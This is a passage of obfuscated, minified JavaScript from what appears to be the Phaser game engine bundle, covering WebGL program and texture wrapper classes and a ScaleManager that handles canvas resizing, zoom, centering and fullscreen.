_0x5a2431['compileShader'](_0x48dace), _0x5a2431['compileShader'](_0x40eb04); var _0x303950 = 'Shader\x20failed:\x0a'; if (!_0x5a2431['getShaderParameter'](_0x48dace, _0x5a2431['COMPILE_STATUS'])) throw new Error('Vertex\x20' + _0x303950 + _0x5a2431['getShaderInfoLog'](_0x48dace)); if (!_0x5a2431['getShaderParameter'](_0x40eb04, _0x5a2431['COMPILE_STATUS'])) throw new Error('Fragment\x20' + _0x303950 + _0x5a2431['getShaderInfoLog'](_0x40eb04)); if (_0x5a2431['attachShader'](_0x4a9d1d, _0x48dace), _0x5a2431['attachShader'](_0x4a9d1d, _0x40eb04), _0x5a2431['linkProgram'](_0x4a9d1d), !_0x5a2431['getProgramParameter'](_0x4a9d1d, _0x5a2431['LINK_STATUS'])) throw new Error('Link\x20' + _0x303950 + _0x5a2431['getProgramInfoLog'](_0x4a9d1d)); _0x5a2431['useProgram'](_0x4a9d1d), this['webGLProgram'] = _0x4a9d1d; } }, 'destroy': function () { this['webGLProgram'] && (this['gl']['isContextLost']() || this['gl']['deleteProgram'](this['webGLProgram']), this['webGLProgram'] = null, this['gl'] = null); } }); _0x4f2b5d['exports'] = _0x4f8632; }, 0x1433f: (_0x177457, _0x3f9d82, _0x1d9929) => { var _0x1d72fd = _0x1d9929(0x145db), _0x8e9a68 = _0x1d9929(0xc36e), _0x43e778 = new _0x1d72fd({ 'initialize': function (_0x41a1aa, _0x589362, _0x1c9047, _0x4efc1d, _0x3dced8, _0x5ad7f4, _0x32e41b, _0x2a2e00, _0x4d59ab, _0x3a7bad, _0x7275f3, _0x4b7856, _0x1f7d18) { this['webGLTexture'] = null, this['isRenderTexture'] = !0x1, this['gl'] = _0x41a1aa, this['mipLevel'] = _0x589362, this['minFilter'] = _0x1c9047, this['magFilter'] = _0x4efc1d, this['wrapT'] = _0x3dced8, this['wrapS'] = _0x5ad7f4, this['format'] = _0x32e41b, this['pixels'] = _0x2a2e00, this['width'] = _0x4d59ab, this['height'] = _0x3a7bad, this['pma'] = null == _0x7275f3 || _0x7275f3, this['forceSize'] = !!_0x4b7856, this['flipY'] = !!_0x1f7d18, this['__SPECTOR_Metadata'] = {}, this['createResource'](); }, 'createResource': function () { var _0x4928d9 = this['gl']; if (!_0x4928d9['isContextLost']()) { if (this['pixels'] instanceof _0x43e778) this['webGLTexture'] = this['pixels']['webGLTexture']; else { var _0x531a0e = _0x4928d9['createTexture'](); _0x531a0e['__SPECTOR_Metadata'] = this['__SPECTOR_Metadata'], this['webGLTexture'] = _0x531a0e, this['_processTexture'](); } } }, 'update': function (_0x3a7d84, _0x475fff, _0x477e5d, _0x1a2d9c, _0x30b1ab, _0xae5606, _0x194665, _0x156148, _0x264965) { 0x0 !== _0x475fff && 0x0 !== _0x477e5d && (this['pixels'] = _0x3a7d84, this['width'] = _0x475fff, this['height'] = _0x477e5d, this['flipY'] = _0x1a2d9c, this['wrapS'] = _0x30b1ab, this['wrapT'] = _0xae5606, this['minFilter'] = _0x194665, this['magFilter'] = _0x156148, this['format'] = _0x264965, this['gl']['isContextLost']() || this['_processTexture']()); }, '_processTexture': function () { var _0x2b440a = this['gl']; _0x2b440a['activeTexture'](_0x2b440a['TEXTURE0']); var _0x2611cf = _0x2b440a['getParameter'](_0x2b440a['TEXTURE_BINDING_2D']); _0x2b440a['bindTexture'](_0x2b440a['TEXTURE_2D'], this['webGLTexture']), _0x2b440a['texParameteri'](_0x2b440a['TEXTURE_2D'], _0x2b440a['TEXTURE_MIN_FILTER'], this['minFilter']), _0x2b440a['texParameteri'](_0x2b440a['TEXTURE_2D'], _0x2b440a['TEXTURE_MAG_FILTER'], this['magFilter']), _0x2b440a['texParameteri'](_0x2b440a['TEXTURE_2D'], _0x2b440a['TEXTURE_WRAP_S'], this['wrapS']), _0x2b440a['texParameteri'](_0x2b440a['TEXTURE_2D'], _0x2b440a['TEXTURE_WRAP_T'], this['wrapT']), _0x2b440a['pixelStorei'](_0x2b440a['UNPACK_PREMULTIPLY_ALPHA_WEBGL'], this['pma']), _0x2b440a['pixelStorei'](_0x2b440a['UNPACK_FLIP_Y_WEBGL'], this['flipY']); var _0x5635fe = this['pixels'], _0x2d2b19 = this['mipLevel'], _0x72e88e = this['width'], _0x38b777 = this['height'], _0x1db25d = this['format'], _0x416492 = !0x1; if (null == _0x5635fe) _0x2b440a['texImage2D'](_0x2b440a['TEXTURE_2D'], _0x2d2b19, _0x1db25d, _0x72e88e, _0x38b777, 0x0, _0x1db25d, _0x2b440a['UNSIGNED_BYTE'], null), _0x416492 = _0x8e9a68(_0x72e88e, _0x38b777); else { if (_0x5635fe['compressed']) { _0x72e88e = _0x5635fe['width'], _0x38b777 = _0x5635fe['height'], _0x416492 = _0x5635fe['generateMipmap']; for (var _0x54aa6a = 0x0; _0x54aa6a < _0x5635fe['mipmaps']['length']; _0x54aa6a++)_0x2b440a['compressedTexImage2D'](_0x2b440a['TEXTURE_2D'], _0x54aa6a, _0x5635fe['internalFormat'], _0x5635fe['mipmaps'][_0x54aa6a]['width'], _0x5635fe['mipmaps'][_0x54aa6a]['height'], 0x0, _0x5635fe['mipmaps'][_0x54aa6a]['data']); } else _0x5635fe instanceof Uint8Array ? (_0x2b440a['texImage2D'](_0x2b440a['TEXTURE_2D'], _0x2d2b19, _0x1db25d, _0x72e88e, _0x38b777, 0x0, _0x1db25d, _0x2b440a['UNSIGNED_BYTE'], _0x5635fe), _0x416492 = _0x8e9a68(_0x72e88e, _0x38b777)) : (this['forceSize'] || (_0x72e88e = _0x5635fe['width'], _0x38b777 = _0x5635fe['height']), _0x2b440a['texImage2D'](_0x2b440a['TEXTURE_2D'], _0x2d2b19, _0x1db25d, _0x1db25d, _0x2b440a['UNSIGNED_BYTE'], _0x5635fe), _0x416492 = _0x8e9a68(_0x72e88e, _0x38b777)); } _0x416492 && _0x2b440a['generateMipmap'](_0x2b440a['TEXTURE_2D']), _0x2611cf ? _0x2b440a['bindTexture'](_0x2b440a['TEXTURE_2D'], _0x2611cf) : _0x2b440a['bindTexture'](_0x2b440a['TEXTURE_2D'], null); }, 'spectorMetadata': { 'get': function () { return this['__SPECTOR_Metadata']; }, 'set': function (_0x4a69ca) { this['__SPECTOR_Metadata'] = _0x4a69ca, this['gl']['isContextLost']() || (this['webGLTexture']['__SPECTOR_Metadata'] = _0x4a69ca); } }, 'destroy': function () { null !== this['webGLTexture'] && (this['gl']['isContextLost']() || this['pixels'] instanceof _0x43e778 || this['gl']['deleteTexture'](this['webGLTexture']), this['pixels'] = null, this['webGLTexture'] = null, this['gl'] = null); } }); _0x177457['exports'] = _0x43e778; }, 0xdf5f: (_0x497487, _0x2338d5, _0x42026d) => { var _0x442206 = new (_0x42026d(0x145db))({ 'initialize': function (_0x43a241, _0x5cba4d, _0x5a9b55) { this['webGLUniformLocation'] = null, this['gl'] = _0x43a241, this['program'] = _0x5cba4d, this['name'] = _0x5a9b55, this['createResource'](); }, 'createResource': function () { if (null !== this['program']['webGLProgram']) { var _0x949871 = this['gl']; _0x949871['isContextLost']() || (this['webGLUniformLocation'] = _0x949871['getUniformLocation'](this['program']['webGLProgram'], this['name'])); } else this['webGLUniformLocation'] = null; }, 'destroy': function () { this['gl'] = null, this['program'] = null, this['name'] = null, this['webGLUniformLocation'] = null; } }); _0x497487['exports'] = _0x442206; }, 0x251f: (_0x182928, _0x4ef89e, _0x404fda) => { var _0x413929 = { 'WebGLAttribLocationWrapper': _0x404fda(0x16d7f), 'WebGLBufferWrapper': _0x404fda(0x6610), 'WebGLProgramWrapper': _0x404fda(0x5ca), 'WebGLTextureWrapper': _0x404fda(0x1433f), 'WebGLFramebufferWrapper': _0x404fda(0x149a3), 'WebGLUniformLocationWrapper': _0x404fda(0xdf5f) }; _0x182928['exports'] = _0x413929; }, 0x12af3: (_0x1d5c15, _0x26114e, _0x2d2077) => { var _0x37fff3 = _0x2d2077(0x34f8), _0x1bdba9 = _0x2d2077(0x145db), _0x164ac2 = _0x2d2077(0xc668), _0x782b63 = _0x2d2077(0x17cc8), _0xa85e69 = _0x2d2077(0x20fb), _0x4a161c = _0x2d2077(0xe1d3), _0x5de397 = _0x2d2077(0x122a3), _0x259905 = _0x2d2077(0xb2fa), _0x12869f = _0x2d2077(0x7433), _0xf92986 = _0x2d2077(0x15721), _0x4dd8a5 = _0x2d2077(0x1521b), _0x10b906 = _0x2d2077(0xdd07), _0x27d035 = _0x2d2077(0x65f3), _0x5e4e8f = _0x2d2077(0x94aa), _0x151a17 = new _0x1bdba9({ 'Extends': _0x164ac2, 'initialize': function (_0x32e33d) { _0x164ac2['call'](this), this['game'] = _0x32e33d, this['canvas'], this['canvasBounds'] = new _0xf92986(), this['parent'] = null, this['parentIsWindow'] = !0x1, this['parentSize'] = new _0x4dd8a5(), this['gameSize'] = new _0x4dd8a5(), this['baseSize'] = new _0x4dd8a5(), this['displaySize'] = new _0x4dd8a5(), this['scaleMode'] = _0x37fff3['SCALE_MODE']['NONE'], this['zoom'] = 0x1, this['_resetZoom'] = !0x1, this['displayScale'] = new _0x27d035(0x1, 0x1), this['autoRound'] = !0x1, this['autoCenter'] = _0x37fff3['CENTER']['NO_CENTER'], this['orientation'] = _0x37fff3['ORIENTATION']['LANDSCAPE'], this['fullscreen'], this['fullscreenTarget'] = null, this['_createdFullscreenTarget'] = !0x1, this['dirty'] = !0x1, this['resizeInterval'] = 0x1f4, this['_lastCheck'] = 0x0, this['_checkOrientation'] = !0x1, this['domlisteners'] = { 'orientationChange': _0x12869f, 'windowResize': _0x12869f, 'fullScreenChange': _0x12869f, 'fullScreenError': _0x12869f }; }, 'preBoot': function () { this['parseConfig'](this['game']['config']), this['game']['events']['once'](_0xa85e69['BOOT'], this['boot'], this); }, 'boot': function () { var _0x3738f7 = this['game']; this['canvas'] = _0x3738f7['canvas'], this['fullscreen'] = _0x3738f7['device']['fullscreen']; var _0x36b691 = this['scaleMode']; _0x36b691 !== _0x37fff3['SCALE_MODE']['RESIZE'] && _0x36b691 !== _0x37fff3['SCALE_MODE']['EXPAND'] && this['displaySize']['setAspectMode'](_0x36b691), _0x36b691 === _0x37fff3['SCALE_MODE']['NONE'] ? this['resize'](this['width'], this['height']) : (this['getParentBounds'](), this['parentSize']['width'] > 0x0 && this['parentSize']['height'] > 0x0 && this['displaySize']['setParent'](this['parentSize']), this['refresh']()), _0x3738f7['events']['on'](_0xa85e69['PRE_STEP'], this['step'], this), _0x3738f7['events']['once'](_0xa85e69['READY'], this['refresh'], this), _0x3738f7['events']['once'](_0xa85e69['DESTROY'], this['destroy'], this), this['startListeners'](); }, 'parseConfig': function (_0x4d194e) { this['getParent'](_0x4d194e), this['getParentBounds'](); var _0xe361c8 = _0x4d194e['width'], _0x179611 = _0x4d194e['height'], _0x9e8203 = _0x4d194e['scaleMode'], _0xe79de6 = _0x4d194e['zoom'], _0x1cacbb = _0x4d194e['autoRound']; if ('string' == typeof _0xe361c8) { if ('%' !== _0xe361c8['substr'](-0x1)) _0xe361c8 = parseInt(_0xe361c8, 0xa); else { var _0x30834f = this['parentSize']['width']; 0x0 === _0x30834f && (_0x30834f = window['innerWidth']); var _0x40b9f9 = parseInt(_0xe361c8, 0xa) / 0x64; _0xe361c8 = Math['floor'](_0x30834f * _0x40b9f9); } } if ('string' == typeof _0x179611) { if ('%' !== _0x179611['substr'](-0x1)) _0x179611 = parseInt(_0x179611, 0xa); else { var _0x1debc3 = this['parentSize']['height']; 0x0 === _0x1debc3 && (_0x1debc3 = window['innerHeight']); var _0x4d13b6 = parseInt(_0x179611, 0xa) / 0x64; _0x179611 = Math['floor'](_0x1debc3 * _0x4d13b6); } } this['scaleMode'] = _0x9e8203, this['autoRound'] = _0x1cacbb, this['autoCenter'] = _0x4d194e['autoCenter'], this['resizeInterval'] = _0x4d194e['resizeInterval'], _0x1cacbb && (_0xe361c8 = Math['floor'](_0xe361c8), _0x179611 = Math['floor'](_0x179611)), this['gameSize']['setSize'](_0xe361c8, _0x179611), _0xe79de6 === _0x37fff3['ZOOM']['MAX_ZOOM'] && (_0xe79de6 = this['getMaxZoom']()), this['zoom'] = _0xe79de6, 0x1 !== _0xe79de6 && (this['_resetZoom'] = !0x0), this['baseSize']['setSize'](_0xe361c8, _0x179611), _0x1cacbb && (this['baseSize']['width'] = Math['floor'](this['baseSize']['width']), this['baseSize']['height'] = Math['floor'](this['baseSize']['height'])), _0x4d194e['minWidth'] > 0x0 && this['displaySize']['setMin'](_0x4d194e['minWidth'] * _0xe79de6, _0x4d194e['minHeight'] * _0xe79de6), _0x4d194e['maxWidth'] > 0x0 && this['displaySize']['setMax'](_0x4d194e['maxWidth'] * _0xe79de6, _0x4d194e['maxHeight'] * _0xe79de6), this['displaySize']['setSize'](_0xe361c8, _0x179611), (_0x4d194e['snapWidth'] > 0x0 || _0x4d194e['snapHeight'] > 0x0) && this['displaySize']['setSnap'](_0x4d194e['snapWidth'], _0x4d194e['snapHeight']), this['orientation'] = _0x259905(_0xe361c8, _0x179611); }, 'getParent': function (_0x4272f8) { var _0x147147 = _0x4272f8['parent']; if (null !== _0x147147) { if (this['parent'] = _0x5de397(_0x147147), this['parentIsWindow'] = this['parent'] === document['body'], _0x4272f8['expandParent'] && _0x4272f8['scaleMode'] !== _0x37fff3['SCALE_MODE']['NONE']) { var _0x483384 = this['parent']['getBoundingClientRect'](); (this['parentIsWindow'] || 0x0 === _0x483384['height']) && (document['documentElement']['style']['height'] = '100%', document['body']['style']['height'] = '100%', _0x483384 = this['parent']['getBoundingClientRect'](), this['parentIsWindow'] || 0x0 !== _0x483384['height'] || (this['parent']['style']['overflow'] = 'hidden', this['parent']['style']['width'] = '100%', this['parent']['style']['height'] = '100%')); } _0x4272f8['fullscreenTarget'] && !this['fullscreenTarget'] && (this['fullscreenTarget'] = _0x5de397(_0x4272f8['fullscreenTarget'])); } }, 'getParentBounds': function () { if (!this['parent']) return !0x1; var _0x3bc9ac = this['parentSize'], _0x5950c4 = this['parent']['getBoundingClientRect'](); this['parentIsWindow'] && this['game']['device']['os']['iOS'] && (_0x5950c4['height'] = _0x4a161c(!0x0)); var _0x357450 = _0x5950c4['width'], _0x46ec71 = _0x5950c4['height']; if (_0x3bc9ac['width'] !== _0x357450 || _0x3bc9ac['height'] !== _0x46ec71) return _0x3bc9ac['setSize'](_0x357450, _0x46ec71), !0x0; if (this['canvas']) { var _0x45b013 = this['canvasBounds'], _0x2c4de7 = this['canvas']['getBoundingClientRect'](); if (_0x2c4de7['x'] !== _0x45b013['x'] || _0x2c4de7['y'] !== _0x45b013['y']) return !0x0; } return !0x1; }, 'lockOrientation': function (_0x3f6112) { var _0x60dedb = screen['lockOrientation'] || screen['mozLockOrientation'] || screen['msLockOrientation']; return !!_0x60dedb && _0x60dedb['call'](screen, _0x3f6112); }, 'setParentSize': function (_0xce0ad7, _0x326a2e) { return this['parentSize']['setSize'](_0xce0ad7, _0x326a2e), this['refresh'](); }, 'setGameSize': function (_0x4f174b, _0x5af6db) { var _0x33716a = this['autoRound']; _0x33716a && (_0x4f174b = Math['floor'](_0x4f174b), _0x5af6db = Math['floor'](_0x5af6db)); var _0x3e7625 = this['width'], _0x3c96a9 = this['height']; return this['gameSize']['resize'](_0x4f174b, _0x5af6db), this['baseSize']['resize'](_0x4f174b, _0x5af6db), _0x33716a && (this['baseSize']['width'] = Math['floor'](this['baseSize']['width']), this['baseSize']['height'] = Math['floor'](this['baseSize']['height'])), this['displaySize']['setAspectRatio'](_0x4f174b / _0x5af6db), this['canvas']['width'] = this['baseSize']['width'], this['canvas']['height'] = this['baseSize']['height'], this['refresh'](_0x3e7625, _0x3c96a9); }, 'resize': function (_0x310cfe, _0x428a79) { var _0x434ec1 = this['zoom'], _0x2e5f57 = this['autoRound']; _0x2e5f57 && (_0x310cfe = Math['floor'](_0x310cfe), _0x428a79 = Math['floor'](_0x428a79)); var _0x43aab3 = this['width'], _0x377427 = this['height']; this['gameSize']['resize'](_0x310cfe, _0x428a79), this['baseSize']['resize'](_0x310cfe, _0x428a79), _0x2e5f57 && (this['baseSize']['width'] = Math['floor'](this['baseSize']['width']), this['baseSize']['height'] = Math['floor'](this['baseSize']['height'])), this['displaySize']['setSize'](_0x310cfe * _0x434ec1, _0x428a79 * _0x434ec1), this['canvas']['width'] = this['baseSize']['width'], this['canvas']['height'] = this['baseSize']['height']; var _0x1a7add = this['canvas']['style'], _0x3a78b4 = _0x310cfe * _0x434ec1, _0x55992b = _0x428a79 * _0x434ec1; return _0x2e5f57 && (_0x3a78b4 = Math['floor'](_0x3a78b4), _0x55992b = Math['floor'](_0x55992b)), _0x3a78b4 === _0x310cfe && _0x55992b === _0x428a79 || (_0x1a7add['width'] = _0x3a78b4 + 'px', _0x1a7add['height'] = _0x55992b + 'px'), this['refresh'](_0x43aab3, _0x377427); }, 'setZoom': function (_0x779d4f) { return this['zoom'] = _0x779d4f, this['_resetZoom'] = !0x0, this['refresh'](); }, 'setMaxZoom': function () { return this['zoom'] = this['getMaxZoom'](), this['_resetZoom'] = !0x0, this['refresh'](); }, 'setSnap': function (_0x422f61, _0x4c83ae) { return void 0x0 === _0x422f61 && (_0x422f61 = 0x0), void 0x0 === _0x4c83ae && (_0x4c83ae = _0x422f61), this['displaySize']['setSnap'](_0x422f61, _0x4c83ae), this['refresh'](); }, 'refresh': function (_0x44ae10, _0x4e7e1a) { void 0x0 === _0x44ae10 && (_0x44ae10 = this['width']), void 0x0 === _0x4e7e1a && (_0x4e7e1a = this['height']), this['updateScale'](), this['updateBounds'](), this['updateOrientation'](), this['displayScale']['set'](this['baseSize']['width'] / this['canvasBounds']['width'], this['baseSize']['height'] / this['canvasBounds']['height']); var _0x35b945 = this['game']['domContainer']; if (_0x35b945) { this['baseSize']['setCSS'](_0x35b945); var _0x583d5b = this['canvas']['style'], _0x127e7e = _0x35b945['style']; _0x127e7e['transform'] = 'scale(' + this['displaySize']['width'] / this['baseSize']['width'] + ',' + this['displaySize']['height'] / this['baseSize']['height'] + ')', _0x127e7e['marginLeft'] = _0x583d5b['marginLeft'], _0x127e7e['marginTop'] = _0x583d5b['marginTop']; } return this['emit'](_0x782b63['RESIZE'], this['gameSize'], this['baseSize'], this['displaySize'], _0x44ae10, _0x4e7e1a), this; }, 'updateOrientation': function () { if (this['_checkOrientation']) { this['_checkOrientation'] = !0x1; var _0x3e231e = _0x259905(this['width'], this['height']); _0x3e231e !== this['orientation'] && (this['orientation'] = _0x3e231e, this['emit'](_0x782b63['ORIENTATION_CHANGE'], _0x3e231e)); } }, 'updateScale': function () { var _0x49e01c, _0x3aaedd, _0x11d0d2 = this['canvas']['style'], _0x19a92d = this['gameSize']['width'], _0x2bb188 = this['gameSize']['height'], _0x480dc6 = this['zoom'], _0x3c923f = this['autoRound']; if (this['scaleMode'] === _0x37fff3['SCALE_MODE']['NONE']) this['displaySize']['setSize'](_0x19a92d * _0x480dc6, _0x2bb188 * _0x480dc6), _0x49e01c = this['displaySize']['width'], _0x3aaedd = this['displaySize']['height'], _0x3c923f && (_0x49e01c = Math['floor'](_0x49e01c), _0x3aaedd = Math['floor'](_0x3aaedd)), this['_resetZoom'] && (_0x11d0d2['width'] = _0x49e01c + 'px', _0x11d0d2['height'] = _0x3aaedd + 'px', this['_resetZoom'] = !0x1); else { if (this['scaleMode'] === _0x37fff3['SCALE_MODE']['RESIZE']) this['displaySize']['setSize'](this['parentSize']['width'], this['parentSize']['height']), this['gameSize']['setSize'](this['displaySize']['width'], this['displaySize']['height']), this['baseSize']['setSize'](this['displaySize']['width'], this['displaySize']['height']), _0x49e01c = this['displaySize']['width'], _0x3aaedd = this['displaySize']['height'], _0x3c923f && (_0x49e01c = Math['floor'](_0x49e01c), _0x3aaedd = Math['floor'](_0x3aaedd)), this['canvas']['width'] = _0x49e01c, this['canvas']['height'] = _0x3aaedd; else { if (this['scaleMode'] === _0x37fff3['SCALE_MODE']['EXPAND']) { var _0x39e981 = this['game']['config']['width'], _0x164c57 = this['game']['config']['height']; this['displaySize']['setSize'](this['parentSize']['width'], this['parentSize']['height']), _0x49e01c = this['displaySize']['width'], _0x3aaedd = this['displaySize']['height'], _0x3c923f && (_0x49e01c = Math['floor'](_0x49e01c), _0x3aaedd = Math['floor'](_0x3aaedd)), _0x11d0d2['width'] = _0x49e01c + 'px', _0x11d0d2['height'] = _0x3aaedd + 'px'; var _0x53982b = this['parentSize']['width'] / _0x39e981, _0x77ab54 = this['parentSize']['height'] / _0x164c57; _0x53982b < _0x77ab54 && 0x0 !== _0x53982b ? this['baseSize']['setSize'](_0x39e981, this['parentSize']['height'] / _0x53982b) : 0x0 !== _0x77ab54 && this['baseSize']['setSize'](this['displaySize']['width'] / _0x77ab54, _0x164c57), this['gameSize']['setSize'](this['baseSize']['width'], this['baseSize']['height']), _0x49e01c = this['baseSize']['width'], _0x3aaedd = this['baseSize']['height'], _0x3c923f && (_0x49e01c = Math['floor'](_0x49e01c), _0x3aaedd = Math['floor'](_0x3aaedd)), this['canvas']['width'] = _0x49e01c, this['canvas']['height'] = _0x3aaedd; } else this['displaySize']['setSize'](this['parentSize']['width'], this['parentSize']['height']), _0x49e01c = this['displaySize']['width'], _0x3aaedd = this['displaySize']['height'], _0x3c923f && (_0x49e01c = Math['floor'](_0x49e01c), _0x3aaedd = Math['floor'](_0x3aaedd)), _0x11d0d2['width'] = _0x49e01c + 'px', _0x11d0d2['height'] = _0x3aaedd + 'px'; } } this['getParentBounds'](), this['updateCenter'](); }, 'getMaxZoom': function () { var _0x8e1c19 = _0x10b906(this['parentSize']['width'], this['gameSize']['width'], 0x0, !0x0), _0x49c3e0 = _0x10b906(this['parentSize']['height'], this['gameSize']['height'], 0x0, !0x0); return Math['max'](Math['min'](_0x8e1c19, _0x49c3e0), 0x1); }, 'updateCenter': function () { var _0x8eef15 = this['autoCenter']; if (_0x8eef15 !== _0x37fff3['CENTER']['NO_CENTER']) { var _0x24bb6d = this['canvas'], _0x249c02 = _0x24bb6d['style'], _0x189a2f = _0x24bb6d['getBoundingClientRect'](), _0x31d01f = _0x189a2f['width'], _0x24b676 = _0x189a2f['height'], _0x372909 = Math['floor']((this['parentSize']['width'] - _0x31d01f) / 0x2), _0x1688ec = Math['floor']((this['parentSize']['height'] - _0x24b676) / 0x2); _0x8eef15 === _0x37fff3['CENTER']['CENTER_HORIZONTALLY'] ? _0x1688ec = 0x0 : _0x8eef15 === _0x37fff3['CENTER']['CENTER_VERTICALLY'] && (_0x372909 = 0x0), _0x249c02['marginLeft'] = _0x372909 + 'px', _0x249c02['marginTop'] = _0x1688ec + 'px'; } }, 'updateBounds': function () { var _0x8c8207 = this['canvasBounds'], _0x16ad32 = this['canvas']['getBoundingClientRect'](); _0x8c8207['x'] = _0x16ad32['left'] + (window['pageXOffset'] || 0x0) - (document['documentElement']['clientLeft'] || 0x0), _0x8c8207['y'] = _0x16ad32['top'] + (window['pageYOffset'] || 0x0) - (document['documentElement']['clientTop'] || 0x0), _0x8c8207['width'] = _0x16ad32['width'], _0x8c8207['height'] = _0x16ad32['height']; }, 'transformX': function (_0x36b494) { return (_0x36b494 - this['canvasBounds']['left']) * this['displayScale']['x']; }, 'transformY': function (_0x3e34cf) { return (_0x3e34cf - this['canvasBounds']['top']) * this['displayScale']['y']; }, 'startFullscreen': function (_0x111857) { void 0x0 === _0x111857 && (_0x111857 = { 'navigationUI': 'hide' }); var _0x31f19e = this['fullscreen']; if (_0x31f19e['available']) { if (!_0x31f19e['active']) { var _0x25bf7b = this['getFullscreenTarget'](); _0x31f19e['keyboard'] ? _0x25bf7b[_0x31f19e['request']](Element['ALLOW_KEYBOARD_INPUT']) : _0x25bf7b[_0x31f19e['request']](_0x111857); } } else this['emit'](_0x782b63['FULLSCREEN_UNSUPPORTED']); }, 'fullscreenSuccessHandler': function () { this['getParentBounds'](), this['refresh'](), this['emit'](_0x782b63['ENTER_FULLSCREEN']); }, 'fullscreenErrorHandler': function (_0x2275b5) { this['removeFullscreenTarget'](), this['emit'](_0x782b63['FULLSCREEN_FAILED'], _0x2275b5); }, 'getFullscreenTarget': function () { if (!this['fullscreenTarget']) { var _0x21f444 = document['createElement']('div'); _0x21f444['style']['margin'] = '0', _0x21f444['style']['padding'] = '0', _0x21f444['style']['width'] = '100%', _0x21f444['style']['height'] = '100%', this['fullscreenTarget'] = _0x21f444, this['_createdFullscreenTarget'] = !0x0; } return this['_createdFullscreenTarget'] && (this['canvas']['parentNode']['insertBefore'](this['fullscreenTarget'], this['canvas']), this['fullscreenTarget']['appendChild'](this['canvas'])), this['fullscreenTarget']; }, 'removeFullscreenTarget': function () { if (this['_createdFullscreenTarget']) { var _0x3f4143 = this['fullscreenTarget']; if (_0x3f4143 && _0x3f4143['parentNode']) { var _0x3a8d9c = _0x3f4143['parentNode']; _0x3a8d9c['insertBefore'](this['canvas'], _0x3f4143), _0x3a8d9c['removeChild'](_0x3f4143); } } }, 'stopFullscreen': function () { var _0xf4efe9 = this['fullscreen']; if (!_0xf4efe9['available']) return this['emit'](_0x782b63['FULLSCREEN_UNSUPPORTED']), !0x1; _0xf4efe9['active'] && document[_0xf4efe9['cancel']](), this['removeFullscreenTarget'](); }, 'leaveFullScreenSuccessHandler': function () { this['getParentBounds'](), this['emit'](_0x782b63['LEAVE_FULLSCREEN']), this['refresh'](); }, 'toggleFullscreen': function (_0x35923c) { this['fullscreen']['active'] ? this['stopFullscreen']() : this['startFullscreen'](_0x35923c); }, 'startListeners': function () { var _0x54b269 = this, _0x34cc53 = this['domlisteners']; _0x34cc53['orientationChange'] = function () { _0x54b269['updateBounds'](), _0x54b269['_checkOrientation'] = !0x0, _0x54b269['dirty'] = !0x0, _0x54b269['refresh'](); }, _0x34cc53['windowResize'] = function () { _0x54b269['updateBounds'](), _0x54b269['dirty'] = !0x0; }, screen['orientation'] && screen['orientation']['addEventListener'] ? screen['orientation']['addEventListener']('change', _0x34cc53['orientationChange'], !0x1) : window['addEventListener']('orientationchange', _0x34cc53['orientationChange'], !0x1), window['addEventListener']('resize', _0x34cc53['windowResize'], !0x1), this['fullscreen']['available'] && (_0x34cc53['fullScreenChange'] = function (_0x203e9b) { return _0x54b269['onFullScreenChange'](_0x203e9b); }, _0x34cc53['fullScreenError'] = function (_0x155cb3) { return _0x54b269['onFullScreenError'](_0x155cb3); }, ['webkit', 'moz', '']['forEach'](function (_0x82989c) { document['addEventListener'](_0x82989c + 'fullscreenchange', _0x34cc53['fullScreenChange'], !0x1), document['addEventListener'](_0x82989c + 'fullscreenerror', _0x34cc53['fullScreenError'], !0x1); }), document['addEventListener']('MSFullscreenChange', _0x34cc53['fullScreenChange'], !0x1), document['addEventListener']('MSFullscreenError', _0x34cc53['fullScreenError'], !0x1)); }, 'onFullScreenChange': function () { document['fullscreenElement'] || document['webkitFullscreenElement'] || document['msFullscreenElement'] || document['mozFullScreenElement'] ? this['fullscreenSuccessHandler']() : (this['stopFullscreen'](), this['leaveFullScreenSuccessHandler']()); }, 'onFullScreenError': function () { this['removeFullscreenTarget'](); }, 'getViewPort': function (_0xd2090f, _0x138d64) { _0xd2090f instanceof _0x5e4e8f || (_0x138d64 = _0xd2090f, _0xd2090f = void 0x0), void 0x0 === _0x138d64 && (_0x138d64 = new _0xf92986()); var _0xcb4448, _0x57e95d, _0x196a76 = this['baseSize'], _0x4693c2 = this['parentSize'], _0x79128d = this['canvasBounds'], _0x8d46c5 = this['displayScale'], _0x221733 = _0x79128d['x'] >= 0x0 ? 0x0 : -_0x79128d['x'] * _0x8d46c5['x'], _0x453fdf = _0x79128d['y'] >= 0x0 ? 0x0 : -_0x79128d['y'] * _0x8d46c5['y']; return _0xcb4448 = _0x4693c2['width'] >= _0x79128d['width'] ? _0x196a76['width'] : _0x196a76['width'] - (_0x79128d['width'] - _0x4693c2['width']) * _0x8d46c5['x'], _0x57e95d = _0x4693c2['height'] >= _0x79128d['height'] ? _0x196a76['height'] : _0x196a76['height'] - (_0x79128d['height'] - _0x4693c2['height']) * _0x8d46c5['y'], _0x138d64['setTo'](_0x221733, _0x453fdf, _0xcb4448, _0x57e95d), _0xd2090f && (_0x138d64['width'] /= _0xd2090f['zoomX'], _0x138d64['height'] /= _0xd2090f['zoomY'], _0x138d64['centerX'] = _0xd2090f['centerX'] + _0xd2090f['scrollX'], _0x138d64['centerY'] = _0xd2090f['centerY'] + _0xd2090f['scrollY']), _0x138d64; }, 'step': function (_0x2a0d00, _0x5f01ab) { this['parent'] && (this['_lastCheck'] += _0x5f01ab, (this['dirty'] || this['_lastCheck'] > this['resizeInterval']) && (this['getParentBounds']() && this['refresh'](), this['dirty'] = !0x1, this['_lastCheck'] = 0x0)); }, 'stopListeners': function () { var _0x384f0f = this['domlisteners']; screen['orientation'] && screen['orientation']['addEventListener'] ? screen['orientation']['removeEventListener']('change', _0x384f0f['orientationChange'], !0x1) : window['removeEventListener']('orientationchange', _0x384f0f['orientationChange'], !0x1), window['removeEventListener']('resize', _0x384f0f['windowResize'], !0x1), ['webkit', 'moz', '']['forEach'](function (_0x282dc4) { document['removeEventListener'](_0x282dc4 + 'fullscreenchange', _0x384f0f['fullScreenChange'], !0x1), document['removeEventListener'](_0x282dc4 + 'fullscreenerror', _0x384f0f['fullScreenError'], !0x1); }), document['removeEventListener']('MSFullscreenChange', _0x384f0f['fullScreenChange'], !0x1), document['removeEventListener']('MSFullscreenError', _0x384f0f['fullScreenError'], !0x1); }, 'destroy': function () { this['removeAllListeners'](), this['stopListeners'](), this['game'] = null, this['canvas'] = null, this['canvasBounds'] = null, this['parent'] = null, this['fullscreenTarget'] = null, this['parentSize']['destroy'](), this['gameSize']['destroy'](), this['baseSize']['destroy'](), this['displaySize']['destroy'](); }, 'isFullscreen': { 'get': function () { return 